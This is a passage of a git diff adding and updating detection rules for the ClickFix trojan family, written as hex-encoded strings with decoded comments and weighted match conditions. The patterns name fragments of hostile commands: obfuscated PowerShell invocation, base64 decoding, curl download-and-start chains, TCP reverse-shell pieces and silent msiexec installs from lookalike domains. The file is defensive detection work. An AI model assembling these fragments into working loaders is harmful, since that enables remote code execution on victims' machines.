2d 00 6d 00 65 00 6e 00 75 00 } //-100 start-menu condition: - ((#a_00_0 & 1)*100+(#a_00_1 & 1)*100+(#a_00_2 & 1)*10+(#a_00_3 & 1)*10+(#a_00_4 & 1)*10+(#a_00_5 & 1)*10+(#a_00_6 & 1)*10+(#a_00_7 & 1)*1+(#a_00_8 & 1)*1+(#a_00_9 & 1)*1+(#a_00_10 & 1)*1+(#a_00_11 & 1)*1+(#a_00_12 & 1)*1) >=212 + ((#a_00_0 & 1)*100+(#a_00_1 & 1)*100+(#a_00_2 & 1)*10+(#a_00_3 & 1)*10+(#a_00_4 & 1)*10+(#a_00_5 & 1)*10+(#a_00_6 & 1)*10+(#a_00_7 & 1)*1+(#a_00_8 & 1)*1+(#a_00_9 & 1)*1+(#a_00_10 & 1)*1+(#a_00_11 & 1)*1+(#a_00_12 & 1)*1+(#a_00_13 & 1)*-100+(#a_00_14 & 1)*-100+(#a_00_15 & 1)*-100+(#a_00_16 & 1)*-100) >=212 } \ No newline at end of file diff --git a/Trojan/Win32/ClickFix/Trojan_Win32_ClickFix_AG_MTB.yar b/Trojan/Win32/ClickFix/Trojan_Win32_ClickFix_AG_MTB.yar index 2656433413..774688074e 100644 --- a/Trojan/Win32/ClickFix/Trojan_Win32_ClickFix_AG_MTB.yar +++ b/Trojan/Win32/ClickFix/Trojan_Win32_ClickFix_AG_MTB.yar @@ -1,7 +1,7 @@ rule Trojan_Win32_ClickFix_AG_MTB{ meta: - description = "Trojan:Win32/ClickFix.AG!MTB,SIGNATURE_TYPE_CMDHSTR_EXT,ffffffc9 00 ffffffc9 00 16 00 00 " + description = "Trojan:Win32/ClickFix.AG!MTB,SIGNATURE_TYPE_CMDHSTR_EXT,ffffffc9 00 ffffffc9 00 1d 00 00 " strings : $a_00_0 = {70 00 6f 00 77 00 65 00 72 00 73 00 68 00 65 00 6c 00 6c 00 } //200 powershell @@ -21,12 +21,19 @@ rule Trojan_Win32_ClickFix_AG_MTB{ $a_00_14 = {2d 00 20 00 4f 00 76 00 65 00 72 00 20 00 46 00 52 00 45 00 45 00 } //1 - Over FREE $a_00_15 = {47 00 6f 00 6f 00 67 00 6c 00 65 00 20 00 4d 00 65 00 65 00 74 00 } //1 Google Meet $a_00_16 = {44 00 4e 00 53 00 20 00 73 00 65 00 72 00 76 00 69 00 63 00 65 00 } //1 DNS service - $a_00_17 = {33 04 65 00 21 04 10 04 20 04 22 04 21 04 1d 04 10 04 } //1 гeСАРТСНА - $a_00_18 = {33 04 21 04 10 04 20 04 22 04 21 04 1d 04 10 04 } //1 гСАРТСНА - $a_00_19 = {33 04 65 00 20 00 21 04 10 04 20 04 22 04 21 04 1d 04 10 04 } //1 гe САРТСНА - $a_00_20 = {43 00 6c 00 bf 03 75 00 64 00 66 00 6c 00 61 00 72 00 65 00 } //1 - $a_02_21 = {48 00 75 00 6d 00 30 04 6e 00 [0-1e] 21 04 41 00 50 00 54 00 43 00 48 00 41 00 } //1 + $a_00_17 = {66 00 69 00 6c 00 74 00 65 00 72 00 65 00 64 00 20 00 62 00 79 00 20 00 43 00 46 00 } //1 filtered by CF + $a_00_18 = {33 04 65 00 21 04 10 04 20 04 22 04 21 04 1d 04 10 04 } //1 гeСАРТСНА + $a_00_19 = {33 04 21 04 10 04 20 04 22 04 21 04 1d 04 10 04 } //1 гСАРТСНА + $a_00_20 = {33 04 65 00 20 00 21 04 10 04 20 04 22 04 21 04 1d 04 10 04 } //1 гe САРТСНА + $a_00_21 = {43 00 6c 00 bf 03 75 00 64 00 66 00 6c 00 61 00 72 00 65 00 } //1 + $a_02_22 = {48 00 75 00 6d 00 30 04 6e 00 [0-1e] 21 04 41 00 50 00 54 00 43 00 48 00 41 00 } //1 + $a_00_23 = {65 00 6e 00 74 00 65 00 72 00 20 00 74 00 6f 00 20 00 68 00 69 00 62 00 65 00 72 00 6e 00 61 00 74 00 65 00 } //-100 enter to hibernate + $a_00_24 = {74 00 72 00 79 00 63 00 6c 00 6f 00 75 00 64 00 66 00 6c 00 61 00 72 00 65 00 2e 00 63 00 6f 00 6d 00 } //-100 trycloudflare.com + $a_00_25 = {6d 00 79 00 2e 00 73 00 68 00 61 00 72 00 65 00 70 00 6f 00 69 00 6e 00 74 00 2e 00 63 00 6f 00 6d 00 } //-100 my.sharepoint.com + $a_00_26 = {4f 00 6e 00 65 00 44 00 72 00 69 00 76 00 65 00 } //-100 OneDrive + $a_00_27 = {6e 00 69 00 6b 00 65 00 2e 00 63 00 6f 00 6d 00 } //-100 nike.com + $a_00_28 = {61 00 64 00 6d 00 69 00 6e 00 61 00 70 00 70 00 } //-100 adminapp condition: - ((#a_00_0 & 1)*200+(#a_00_1 & 1)*1+(#a_00_2 & 1)*1+(#a_00_3 & 1)*1+(#a_00_4 & 1)*1+(#a_00_5 & 1)*1+(#a_00_6 & 1)*1+(#a_00_7 & 1)*1+(#a_00_8 & 1)*1+(#a_00_9 & 1)*1+(#a_00_10 & 1)*1+(#a_00_11 & 1)*1+(#a_00_12 & 1)*1+(#a_00_13 & 1)*1+(#a_00_14 & 1)*1+(#a_00_15 & 1)*1+(#a_00_16 & 1)*1+(#a_00_17 & 1)*1+(#a_00_18 & 1)*1+(#a_00_19 & 1)*1+(#a_00_20 & 1)*1+(#a_02_21 & 1)*1) >=201 + ((#a_00_0 & 1)*200+(#a_00_1 & 1)*1+(#a_00_2 & 1)*1+(#a_00_3 & 1)*1+(#a_00_4 & 1)*1+(#a_00_5 & 1)*1+(#a_00_6 & 1)*1+(#a_00_7 & 1)*1+(#a_00_8 & 1)*1+(#a_00_9 & 1)*1+(#a_00_10 & 1)*1+(#a_00_11 & 1)*1+(#a_00_12 & 1)*1+(#a_00_13 & 1)*1+(#a_00_14 & 1)*1+(#a_00_15 & 1)*1+(#a_00_16 & 1)*1+(#a_00_17 & 1)*1+(#a_00_18 & 1)*1+(#a_00_19 & 1)*1+(#a_00_20 & 1)*1+(#a_00_21 & 1)*1+(#a_02_22 & 1)*1+(#a_00_23 & 1)*-100+(#a_00_24 & 1)*-100+(#a_00_25 & 1)*-100+(#a_00_26 & 1)*-100+(#a_00_27 & 1)*-100+(#a_00_28 & 1)*-100) >=201 } \ No newline at end of file diff --git a/Trojan/Win32/ClickFix/Trojan_Win32_ClickFix_AK_MTB.yar b/Trojan/Win32/ClickFix/Trojan_Win32_ClickFix_AK_MTB.yar index 743d7783e9..ef1b7884ce 100644 --- a/Trojan/Win32/ClickFix/Trojan_Win32_ClickFix_AK_MTB.yar +++ b/Trojan/Win32/ClickFix/Trojan_Win32_ClickFix_AK_MTB.yar @@ -1,7 +1,7 @@ rule Trojan_Win32_ClickFix_AK_MTB{ meta: - description = "Trojan:Win32/ClickFix.AK!MTB,SIGNATURE_TYPE_CMDHSTR_EXT,06 00 06 00 06 00 00 " + description = "Trojan:Win32/ClickFix.AK!MTB,SIGNATURE_TYPE_CMDHSTR_EXT,06 00 06 00 07 00 00 " strings : $a_00_0 = {77 00 73 00 63 00 72 00 69 00 70 00 74 00 2e 00 73 00 68 00 65 00 6c 00 6c 00 } //1 wscript.shell @@ -10,7 +10,8 @@ rule Trojan_Win32_ClickFix_AK_MTB{ $a_00_3 = {66 00 6f 00 72 00 65 00 61 00 63 00 68 00 } //1 foreach $a_00_4 = {68 00 74 00 74 00 70 00 } //1 http $a_00_5 = {6e 00 65 00 77 00 2d 00 6f 00 62 00 6a 00 65 00 63 00 74 00 } //1 new-object + $a_00_6 = {79 00 6f 00 75 00 74 00 75 00 62 00 65 00 2e 00 63 00 6f 00 6d 00 } //-100 youtube.com condition: - ((#a_00_0 & 1)*1+(#a_00_1 & 1)*1+(#a_00_2 & 1)*1+(#a_00_3 & 1)*1+(#a_00_4 & 1)*1+(#a_00_5 & 1)*1) >=6 + ((#a_00_0 & 1)*1+(#a_00_1 & 1)*1+(#a_00_2 & 1)*1+(#a_00_3 & 1)*1+(#a_00_4 & 1)*1+(#a_00_5 & 1)*1+(#a_00_6 & 1)*-100) >=6 } \ No newline at end of file diff --git a/Trojan/Win32/ClickFix/Trojan_Win32_ClickFix_BBBM_MTB.yar b/Trojan/Win32/ClickFix/Trojan_Win32_ClickFix_BBBM_MTB.yar new file mode 100644 index 0000000000..d1f070eee1 --- /dev/null +++ b/Trojan/Win32/ClickFix/Trojan_Win32_ClickFix_BBBM_MTB.yar @@ -0,0 +1,14 @@ + +rule Trojan_Win32_ClickFix_BBBM_MTB{ + meta: + description = "Trojan:Win32/ClickFix.BBBM!MTB,SIGNATURE_TYPE_CMDHSTR_EXT,04 00 04 00 04 00 00 " + + strings : + $a_00_0 = {26 00 26 00 20 00 63 00 75 00 72 00 6c 00 20 00 2d 00 6b 00 20 00 2d 00 6f 00 } //1 && curl -k -o + $a_00_1 = {26 00 26 00 20 00 73 00 74 00 61 00 72 00 74 00 } //1 && start + $a_00_2 = {26 00 26 00 20 00 65 00 63 00 68 00 6f 00 } //1 && echo + $a_00_3 = {68 00 74 00 74 00 70 00 } //1 http + condition: + ((#a_00_0 & 1)*1+(#a_00_1 & 1)*1+(#a_00_2 & 1)*1+(#a_00_3 & 1)*1) >=4 + +} \ No newline at end of file diff --git a/Trojan/Win32/ClickFix/Trojan_Win32_ClickFix_BBBZ_MTB.yar b/Trojan/Win32/ClickFix/Trojan_Win32_ClickFix_BBBZ_MTB.yar new file mode 100644 index 0000000000..5852aab1e4 --- /dev/null +++ b/Trojan/Win32/ClickFix/Trojan_Win32_ClickFix_BBBZ_MTB.yar @@ -0,0 +1,11 @@ + +rule Trojan_Win32_ClickFix_BBBZ_MTB{ + meta: + description = "Trojan:Win32/ClickFix.BBBZ!MTB,SIGNATURE_TYPE_CMDHSTR_EXT,01 00 01 00 01 00 00 " + + strings : + $a_02_0 = {70 00 6f 00 77 00 65 00 72 00 73 00 68 00 65 00 6c 00 6c 00 [0-3c] 24 00 } //1 + condition: + ((#a_02_0 & 1)*1) >=1 + +} \ No newline at end of file diff --git a/Trojan/Win32/ClickFix/Trojan_Win32_ClickFix_BBC_MTB.yar b/Trojan/Win32/ClickFix/Trojan_Win32_ClickFix_BBC_MTB.yar new file mode 100644 index 0000000000..cc65a15fe2 --- /dev/null +++ b/Trojan/Win32/ClickFix/Trojan_Win32_ClickFix_BBC_MTB.yar @@ -0,0 +1,12 @@ + +rule Trojan_Win32_ClickFix_BBC_MTB{ + meta: + description = "Trojan:Win32/ClickFix.BBC!MTB,SIGNATURE_TYPE_CMDHSTR_EXT,02 00 02 00 02 00 00 " + + strings : + $a_00_0 = {70 00 6f 00 77 00 65 00 72 00 73 00 68 00 65 00 6c 00 6c 00 } //1 powershell + $a_00_1 = {24 00 65 00 6e 00 76 00 3a 00 54 00 45 00 4d 00 50 00 2b 00 27 00 27 00 2b 00 } //1 $env:TEMP+''+ + condition: + ((#a_00_0 & 1)*1+(#a_00_1 & 1)*1) >=2 + +} \ No newline at end of file diff --git a/Trojan/Win32/ClickFix/Trojan_Win32_ClickFix_BBD_MTB.yar b/Trojan/Win32/ClickFix/Trojan_Win32_ClickFix_BBD_MTB.yar new file mode 100644 index 0000000000..8a980ffad3 --- /dev/null +++ b/Trojan/Win32/ClickFix/Trojan_Win32_ClickFix_BBD_MTB.yar @@ -0,0 +1,25 @@ + +rule Trojan_Win32_ClickFix_BBD_MTB{ + meta: + description = "Trojan:Win32/ClickFix.BBD!MTB,SIGNATURE_TYPE_CMDHSTR_EXT,03 00 03 00 03 00 00 " + + strings : + $a_00_0 = {70 00 6f 00 77 00 65 00 72 00 73 00 68 00 65 00 6c 00 6c 00 } //1 powershell + $a_00_1 = {2d 00 6a 00 6f 00 69 00 6e 00 20 00 27 00 27 00 } //1 -join '' + $a_00_2 = {27 00 3b 00 26 00 24 00 } //1 ';&$ + condition: + ((#a_00_0 & 1)*1+(#a_00_1 & 1)*1+(#a_00_2 & 1)*1) >=3 + +} +rule Trojan_Win32_ClickFix_BBD_MTB_2{ + meta: + description = "Trojan:Win32/ClickFix.BBD!MTB,SIGNATURE_TYPE_CMDHSTR_EXT,03 00 03 00 03 00 00 " + + strings : + $a_00_0 = {70 00 6f 00 77 00 65 00 72 00 73 00 68 00 65 00 6c 00 6c 00 } //1 powershell + $a_00_1 = {2e 00 72 00 65 00 70 00 6c 00 61 00 63 00 65 00 28 00 27 00 24 00 27 00 } //1 .replace('$' + $a_00_2 = {2e 00 72 00 65 00 70 00 6c 00 61 00 63 00 65 00 28 00 27 00 21 00 27 00 } //1 .replace('!' + condition: + ((#a_00_0 & 1)*1+(#a_00_1 & 1)*1+(#a_00_2 & 1)*1) >=3 + +} \ No newline at end of file diff --git a/Trojan/Win32/ClickFix/Trojan_Win32_ClickFix_BBE_MTB.yar b/Trojan/Win32/ClickFix/Trojan_Win32_ClickFix_BBE_MTB.yar new file mode 100644 index 0000000000..ada1ce9d1a --- /dev/null +++ b/Trojan/Win32/ClickFix/Trojan_Win32_ClickFix_BBE_MTB.yar @@ -0,0 +1,14 @@ + +rule Trojan_Win32_ClickFix_BBE_MTB{ + meta: + description = "Trojan:Win32/ClickFix.BBE!MTB,SIGNATURE_TYPE_CMDHSTR_EXT,03 00 03 00 04 00 00 " + + strings : + $a_00_0 = {70 00 6f 00 77 00 65 00 72 00 73 00 68 00 65 00 6c 00 6c 00 } //1 powershell + $a_00_1 = {2e 00 53 00 70 00 6c 00 69 00 74 00 28 00 27 00 2c 00 27 00 29 00 3b 00 24 00 } //1 .Split(',');$ + $a_00_2 = {27 00 2b 00 27 00 } //1 '+' + $a_00_3 = {43 00 4d 00 57 00 5f 00 53 00 69 00 67 00 6e 00 61 00 6c 00 69 00 6e 00 67 00 5f 00 54 00 78 00 } //-100 CMW_Signaling_Tx + condition: + ((#a_00_0 & 1)*1+(#a_00_1 & 1)*1+(#a_00_2 & 1)*1+(#a_00_3 & 1)*-100) >=3 + +} \ No newline at end of file diff --git a/Trojan/Win32/ClickFix/Trojan_Win32_ClickFix_BBF_MTB.yar b/Trojan/Win32/ClickFix/Trojan_Win32_ClickFix_BBF_MTB.yar new file mode 100644 index 0000000000..df15311b05 --- /dev/null +++ b/Trojan/Win32/ClickFix/Trojan_Win32_ClickFix_BBF_MTB.yar @@ -0,0 +1,13 @@ + +rule Trojan_Win32_ClickFix_BBF_MTB{ + meta: + description = "Trojan:Win32/ClickFix.BBF!MTB,SIGNATURE_TYPE_CMDHSTR_EXT,03 00 03 00 03 00 00 " + + strings : + $a_00_0 = {70 00 6f 00 77 00 65 00 72 00 73 00 68 00 65 00 6c 00 6c 00 } //1 powershell + $a_00_1 = {5b 00 73 00 74 00 72 00 69 00 6e 00 67 00 5d 00 3a 00 3a 00 43 00 6f 00 6e 00 63 00 61 00 74 00 28 00 28 00 } //1 [string]::Concat(( + $a_00_2 = {2e 00 72 00 65 00 70 00 6c 00 61 00 63 00 65 00 28 00 27 00 21 00 27 00 } //1 .replace('!' + condition: + ((#a_00_0 & 1)*1+(#a_00_1 & 1)*1+(#a_00_2 & 1)*1) >=3 + +} \ No newline at end of file diff --git a/Trojan/Win32/ClickFix/Trojan_Win32_ClickFix_BBG_MTB.yar b/Trojan/Win32/ClickFix/Trojan_Win32_ClickFix_BBG_MTB.yar new file mode 100644 index 0000000000..ce762c73f4 --- /dev/null +++ b/Trojan/Win32/ClickFix/Trojan_Win32_ClickFix_BBG_MTB.yar @@ -0,0 +1,16 @@ + +rule Trojan_Win32_ClickFix_BBG_MTB{ + meta: + description = "Trojan:Win32/ClickFix.BBG!MTB,SIGNATURE_TYPE_CMDHSTR_EXT,65 00 65 00 06 00 00 " + + strings : + $a_00_0 = {69 00 27 00 2b 00 27 00 65 00 27 00 2b 00 27 00 78 00 } //100 i'+'e'+'x + $a_00_1 = {69 00 27 00 65 00 27 00 78 00 } //100 i'e'x + $a_00_2 = {69 00 60 00 65 00 60 00 78 00 } //100 i`e`x + $a_00_3 = {70 00 6f 00 77 00 65 00 72 00 73 00 68 00 65 00 6c 00 6c 00 } //1 powershell + $a_00_4 = {6d 00 73 00 65 00 64 00 67 00 65 00 77 00 65 00 62 00 76 00 69 00 65 00 77 00 32 00 2e 00 65 00 78 00 65 00 } //-100 msedgewebview2.exe + $a_00_5 = {43 00 68 00 72 00 6f 00 6d 00 65 00 55 00 70 00 64 00 61 00 74 00 65 00 } //-100 ChromeUpdate + condition: + ((#a_00_0 & 1)*100+(#a_00_1 & 1)*100+(#a_00_2 & 1)*100+(#a_00_3 & 1)*1+(#a_00_4 & 1)*-100+(#a_00_5 & 1)*-100) >=101 + +} \ No newline at end of file diff --git a/Trojan/Win32/ClickFix/Trojan_Win32_ClickFix_BBI_MTB.yar b/Trojan/Win32/ClickFix/Trojan_Win32_ClickFix_BBI_MTB.yar new file mode 100644 index 0000000000..bca4f7de41 --- /dev/null +++ b/Trojan/Win32/ClickFix/Trojan_Win32_ClickFix_BBI_MTB.yar @@ -0,0 +1,13 @@ + +rule Trojan_Win32_ClickFix_BBI_MTB{ + meta: + description = "Trojan:Win32/ClickFix.BBI!MTB,SIGNATURE_TYPE_CMDHSTR_EXT,03 00 03 00 03 00 00 " + + strings : + $a_00_0 = {5b 00 43 00 6f 00 6e 00 76 00 65 00 72 00 74 00 5d 00 3a 00 3a 00 46 00 72 00 6f 00 6d 00 42 00 61 00 73 00 65 00 36 00 34 00 53 00 74 00 72 00 69 00 6e 00 67 00 28 00 24 00 } //1 [Convert]::FromBase64String($ + $a_00_1 = {28 00 26 00 28 00 24 00 } //1 (&($ + $a_02_2 = {70 00 6f 00 77 00 65 00 72 00 73 00 68 00 65 00 6c 00 6c 00 [0-ff] 24 00 } //1 + condition: + ((#a_00_0 & 1)*1+(#a_00_1 & 1)*1+(#a_02_2 & 1)*1) >=3 + +} \ No newline at end of file diff --git a/Trojan/Win32/ClickFix/Trojan_Win32_ClickFix_BBJ_MTB.yar b/Trojan/Win32/ClickFix/Trojan_Win32_ClickFix_BBJ_MTB.yar new file mode 100644 index 0000000000..e15f7adc90 --- /dev/null +++ b/Trojan/Win32/ClickFix/Trojan_Win32_ClickFix_BBJ_MTB.yar @@ -0,0 +1,13 @@ + +rule Trojan_Win32_ClickFix_BBJ_MTB{ + meta: + description = "Trojan:Win32/ClickFix.BBJ!MTB,SIGNATURE_TYPE_CMDHSTR_EXT,03 00 03 00 03 00 00 " + + strings : + $a_00_0 = {2b 00 28 00 47 00 65 00 74 00 2d 00 52 00 61 00 6e 00 64 00 6f 00 6d 00 29 00 2b 00 } //1 +(Get-Random)+ + $a_00_1 = {24 00 65 00 6e 00 76 00 3a 00 54 00 45 00 4d 00 50 00 } //1 $env:TEMP + $a_00_2 = {68 00 74 00 74 00 70 00 } //1 http + condition: + ((#a_00_0 & 1)*1+(#a_00_1 & 1)*1+(#a_00_2 & 1)*1) >=3 + +} \ No newline at end of file diff --git a/Trojan/Win32/ClickFix/Trojan_Win32_ClickFix_BBN_MTB.yar b/Trojan/Win32/ClickFix/Trojan_Win32_ClickFix_BBN_MTB.yar new file mode 100644 index 0000000000..ab8299b8a8 --- /dev/null +++ b/Trojan/Win32/ClickFix/Trojan_Win32_ClickFix_BBN_MTB.yar @@ -0,0 +1,13 @@ + +rule Trojan_Win32_ClickFix_BBN_MTB{ + meta: + description = "Trojan:Win32/ClickFix.BBN!MTB,SIGNATURE_TYPE_CMDHSTR_EXT,03 00 03 00 03 00 00 " + + strings : + $a_02_0 = {70 00 6f 00 77 00 65 00 72 00 73 00 68 00 65 00 6c 00 6c 00 [0-50] 27 00 2b 00 27 00 } //1 + $a_00_1 = {29 00 2e 00 43 00 6f 00 6e 00 74 00 65 00 6e 00 74 00 29 00 } //1 ).Content) + $a_00_2 = {27 00 3b 00 20 00 26 00 28 00 24 00 } //1 '; &($ + condition: + ((#a_02_0 & 1)*1+(#a_00_1 & 1)*1+(#a_00_2 & 1)*1) >=3 + +} \ No newline at end of file diff --git a/Trojan/Win32/ClickFix/Trojan_Win32_ClickFix_BBO_MTB.yar b/Trojan/Win32/ClickFix/Trojan_Win32_ClickFix_BBO_MTB.yar new file mode 100644 index 0000000000..e8036f3fce --- /dev/null +++ b/Trojan/Win32/ClickFix/Trojan_Win32_ClickFix_BBO_MTB.yar @@ -0,0 +1,13 @@ + +rule Trojan_Win32_ClickFix_BBO_MTB{ + meta: + description = "Trojan:Win32/ClickFix.BBO!MTB,SIGNATURE_TYPE_CMDHSTR_EXT,03 00 03 00 03 00 00 " + + strings : + $a_00_0 = {2e 00 4c 00 65 00 6e 00 67 00 74 00 68 00 5d 00 29 00 2d 00 6a 00 6f 00 69 00 6e 00 27 00 27 00 3b 00 24 00 } //1 .Length])-join'';$ + $a_00_1 = {27 00 2c 00 27 00 27 00 29 00 } //1 ','') + $a_00_2 = {5d 00 2b 00 27 00 } //1 ]+' + condition: + ((#a_00_0 & 1)*1+(#a_00_1 & 1)*1+(#a_00_2 & 1)*1) >=3 + +} \ No newline at end of file diff --git a/Trojan/Win32/ClickFix/Trojan_Win32_ClickFix_BBQ_MTB.yar b/Trojan/Win32/ClickFix/Trojan_Win32_ClickFix_BBQ_MTB.yar new file mode 100644 index 0000000000..d82b649b3c --- /dev/null +++ b/Trojan/Win32/ClickFix/Trojan_Win32_ClickFix_BBQ_MTB.yar @@ -0,0 +1,14 @@ + +rule Trojan_Win32_ClickFix_BBQ_MTB{ + meta: + description = "Trojan:Win32/ClickFix.BBQ!MTB,SIGNATURE_TYPE_CMDHSTR_EXT,04 00 04 00 04 00 00 " + + strings : + $a_00_0 = {4e 00 65 00 74 00 2e 00 53 00 6f 00 63 00 6b 00 65 00 74 00 73 00 2e 00 54 00 43 00 50 00 43 00 6c 00 69 00 65 00 6e 00 74 00 } //1 Net.Sockets.TCPClient + $a_00_1 = {2e 00 47 00 65 00 74 00 42 00 79 00 74 00 65 00 73 00 28 00 24 00 } //1 .GetBytes($ + $a_00_2 = {2e 00 52 00 65 00 61 00 64 00 28 00 24 00 } //1 .Read($ + $a_00_3 = {2b 00 28 00 70 00 77 00 64 00 29 00 2e 00 50 00 61 00 74 00 68 00 } //1 +(pwd).Path + condition: + ((#a_00_0 & 1)*1+(#a_00_1 & 1)*1+(#a_00_2 & 1)*1+(#a_00_3 & 1)*1) >=4 + +} \ No newline at end of file diff --git a/Trojan/Win32/ClickFix/Trojan_Win32_ClickFix_BBR_MTB.yar b/Trojan/Win32/ClickFix/Trojan_Win32_ClickFix_BBR_MTB.yar new file mode 100644 index 0000000000..7fed8127d1 --- /dev/null +++ b/Trojan/Win32/ClickFix/Trojan_Win32_ClickFix_BBR_MTB.yar @@ -0,0 +1,13 @@ + +rule Trojan_Win32_ClickFix_BBR_MTB{ + meta: + description = "Trojan:Win32/ClickFix.BBR!MTB,SIGNATURE_TYPE_CMDHSTR_EXT,03 00 03 00 03 00 00 " + + strings : + $a_00_0 = {29 00 7c 00 25 00 7b 00 5b 00 63 00 68 00 61 00 72 00 5d 00 24 00 5f 00 7d 00 29 00 2d 00 6a 00 6f 00 69 00 6e 00 27 00 27 00 29 00 } //1 )|%{[char]$_})-join'') + $a_00_1 = {70 00 6f 00 77 00 65 00 72 00 73 00 68 00 65 00 6c 00 6c 00 } //1 powershell + $a_00_2 = {29 00 7c 00 25 00 7b 00 26 00 24 00 5f 00 20 00 28 00 } //1 )|%{&$_ ( + condition: + ((#a_00_0 & 1)*1+(#a_00_1 & 1)*1+(#a_00_2 & 1)*1) >=3 + +} \ No newline at end of file diff --git a/Trojan/Win32/ClickFix/Trojan_Win32_ClickFix_BBS_MTB.yar b/Trojan/Win32/ClickFix/Trojan_Win32_ClickFix_BBS_MTB.yar new file mode 100644 index 0000000000..28e87fad91 --- /dev/null +++ b/Trojan/Win32/ClickFix/Trojan_Win32_ClickFix_BBS_MTB.yar @@ -0,0 +1,23 @@ + +rule Trojan_Win32_ClickFix_BBS_MTB{ + meta: + description = "Trojan:Win32/ClickFix.BBS!MTB,SIGNATURE_TYPE_CMDHSTR_EXT,01 00 01 00 0d 00 00 " + + strings : + $a_02_0 = {6d 00 73 00 69 00 65 00 78 00 65 00 63 00 2e 00 65 00 78 00 65 00 [0-20] 2f 00 71 00 6e 00 20 00 2f 00 69 00 20 00 68 00 74 00 74 00 70 00 73 00 3a 00 2f 00 2f 00 73 00 61 00 6d 00 70 00 6c 00 65 00 73 00 73 00 2d 00 66 00 69 00 6c 00 65 00 73 00 2e 00 63 00 6f 00 6d 00 } //1 + $a_02_1 = {6d 00 73 00 69 00 65 00 78 00 65 00 63 00 2e 00 65 00 78 00 65 00 [0-20] 2f 00 71 00 6e 00 20 00 2f 00 69 00 20 00 68 00 74 00 74 00 70 00 73 00 3a 00 2f 00 2f 00 63 00 6c 00 6c 00 6f 00 75 00 64 00 73 00 76 00 65 00 72 00 69 00 66 00 79 00 } //1 + $a_02_2 = {6d 00 73 00 69 00 65 00 78 00 65 00 63 00 [0-50] 76 00 65 00 72 00 69 00 66 00 79 00 2d 00 63 00 6c 00 69 00 65 00 6e 00 74 00 73 00 2e 00 63 00 6f 00 6d 00 } //1 + $a_02_3 = {6d 00 73 00 69 00 65 00 78 00 65 00 63 00 [0-50] 63 00 6c 00 61 00 75 00 64 00 2d 00 63 00 6c 00 69 00 65 00 6e 00 74 00 73 00 2e 00 63 00 6f 00 6d 00 } //1 + $a_02_4 = {6d 00 73 00 69 00 65 00 78 00 65 00 63 00 [0-50] 63 00 6c 00 2d 00 76 00 65 00 72 00 69 00 66 00 79 00 2e 00 63 00 6f 00 6d 00 2f 00 } //1 + $a_02_5 = {6d 00 73 00 69 00 65 00 78 00 65 00 63 00 [0-50] 76 00 66 00 2d 00 66 00 69 00 6c 00 65 00 73 00 2e 00 63 00 6f 00 6d 00 2f 00 } //1 + $a_02_6 = {6d 00 73 00 69 00 65 00 78 00 65 00 63 00 [0-50] 63 00 6c 00 72 00 76 00 65 00 72 00 69 00 66 00 79 00 2e 00 63 00 6f 00 6d 00 2f 00 } //1 + $a_02_7 = {6d 00 73 00 69 00 65 00 78 00 65 00 63 00 [0-50] 76 00 65 00 72 00 69 00 63 00 6c 00 79 00 64 00 2e 00 63 00 6f 00 6d 00 2f 00 } //1 + $a_02_8 = {6d 00 73 00 69 00 65 00 78 00 65 00 63 00 [0-50] 76 00 65 00 72 00 69 00 63 00 6c 00 6f 00 75 00 64 00 7a 00 2e 00 63 00 6f 00 6d 00 2f 00 } //1 + $a_02_9 = {6d 00 73 00 69 00 65 00 78 00 65 00 63 00 [0-50] 76 00 72 00 66 00 79 00 63 00 6c 00 6f 00 75 00 64 00 78 00 2e 00 63 00 6f 00 6d 00 2f 00 } //1 + $a_02_10 = {6d 00 73 00 69 00 65 00 78 00 65 00 63 00 [0-50] 76 00 65 00 72 00 69 00 71 00 6c 00 6f 00 75 00 64 00 78 00 2e 00 63 00 6f 00 6d 00 2f 00 } //1 + $a_02_11 = {6d 00 73 00 69 00 65 00 78 00 65 00 63 00 [0-50] 76 00 63 00 6c 00 6f 00 75 00 64 00 69 00 78 00 2e 00 63 00 6f 00 6d 00 2f 00 } //1 + $a_02_12 = {6d 00 73 00 69 00 65 00 78 00 65 00 63 00 2e 00 65 00 78 00 65 00 [0-20] 2f 00 71 00 6e 00 20 00 2f 00 69 00 20 00 68 00 74 00 74 00 70 00 73 00 3a 00 2f 00 2f 00 [0-3c] 2e 00 73 00 68 00 69 00 65 00 6c 00 64 00 2e 00 6d 00 73 00 69 00 } //1 + condition: + ((#a_02_0 & 1)*1+(#a_02_1 & 1)*1+(#a_02_2 & 1)*1+(#a_02_3 & 1)*1+(#a_02_4 & 1)*1+(#a_02_5 & 1)*1+(#a_02_6 & 1)*1+(#a_02_7 & 1)*1+(#a_02_8 & 1)*1+(#a_02_9 & 1)*1+(#a_02_10 & 1)*1+(#a_02_11 & 1)*1+(#a_02_12 & 1)*1) >=1 + +} \ No newline at end of file diff --git a/Trojan/Win32/ClickFix/Trojan_Win32_ClickFix_BBT_MTB.yar b/Trojan/Win32/ClickFix/Trojan_Win32_ClickFix_BBT_MTB.yar new file mode 100644 index 0000000000..d77fb6407d --- /dev/null +++ b/Trojan/Win32/ClickFix/Trojan_Win32_ClickFix_BBT_MTB.yar @@ -0,0 +1,12 @@ + +rule Trojan_Win32_ClickFix_BBT_MTB{ + meta: + description = "Trojan:Win32/ClickFix.BBT!MTB,SIGNATURE_TYPE_CMDHSTR_EXT,02 00 02 00 02 00 00 " + + strings : + $a_00_0 = {7c 00 25 00 7b 00 24 00 5f 00 2e 00 43 00 6f 00 6e 00 74 00 65 00 6e 00 74 00 } //1 |%{$_.Content + $a_00_1 = {6a 00 6f 00 69 00 6e 00 } //1 join + condition: + ((#a_00_0 & 1)*1+(#a_00_1 & 1)*1) >=2 + +} \ No newline at end of file diff --git a/Trojan/Win32/ClickFix/Trojan_Win32_ClickFix_BBU_MTB.yar b/Trojan/Win32/ClickFix/Trojan_Win32_ClickFix_BBU_MTB.yar new file mode 100644 index 0000000000..e7bbb8babe --- /dev/null +++ b/Trojan/Win32/ClickFix/Trojan_Win32_ClickFix_BBU_MTB.yar @@ -0,0 +1,12 @@ + +rule Trojan_Win32_ClickFix_BBU_MTB{ + meta: + description = "Trojan:Win32/ClickFix.BBU!MTB,SIGNATURE_TYPE_CMDHSTR_EXT,02 00 02 00 02 00 00 " + + strings : + $a_00_0 = {70 00 6f 00 77 00 65 00 72 00 73 00 68 00 65 00 6c 00 6c 00 } //1 powershell + $a_00_1 = {2d 00 6a 00 6f 00 69 00 6e 00 28 00 5b 00 63 00 68 00 61 00 72 00 5b 00 5d 00 5d 00 } //1 -join([char[]] + condition: + ((#a_00_0 & 1)*1+(#a_00_1 & 1)*1) >=2 + +} \ No newline at end of file diff --git a/Trojan/Win32/ClickFix/Trojan_Win32_ClickFix_BBV_MTB.yar 